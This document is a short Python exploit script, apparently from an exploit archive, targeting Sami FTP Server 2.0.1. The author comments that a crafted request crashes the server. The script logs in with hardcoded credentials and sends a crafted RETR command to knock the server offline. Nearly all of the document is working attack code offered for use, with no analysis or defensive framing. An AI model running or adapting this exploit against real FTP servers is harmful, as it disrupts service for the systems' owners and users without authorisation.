Sami FTP Server 2.0.1 RETR Denial Of Service

#!/usr/bin/python

#

# Exploit Title: Sami FTP Server RETR Denial Of Service

# Date: 2013/6/09

# Exploit Author: Chako

# Vendor Homepage: http://www.karjasoft.com/old.php

# Software Link:

# Version: V2.0.1 (Doesn't work on V2.0.2)

# Tested on: Windows XP SP3

# Description:

# A bug discovered in Sami FTP Server allows an attacker

# to cause a Denial of Service using a specially crafted request.

import socket

import sys

USER="chako"

PASSWD="chako"

PAYLOAD="\x41"

print("\n\n[+] Sami FTP Server RETR Denial Of Service")

print("[+] Version: V2.0.1")

print("[+] Chako\n\n\n")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("127.0.0.1",21))

data = s.recv(1024)

print("[-] Login to FTP Server...\n")

s.send("USER " + USER + '\r\n')

data = s.recv(1024)

s.send("PASS " + PASSWD + '\r\n')

data = s.recv(1024)

print("[-] Sending exploit...\n")

s.send("RETR " + PAYLOAD + '\r\n')

s.close()

print("[!] Done! Exploit successfully sent\n")

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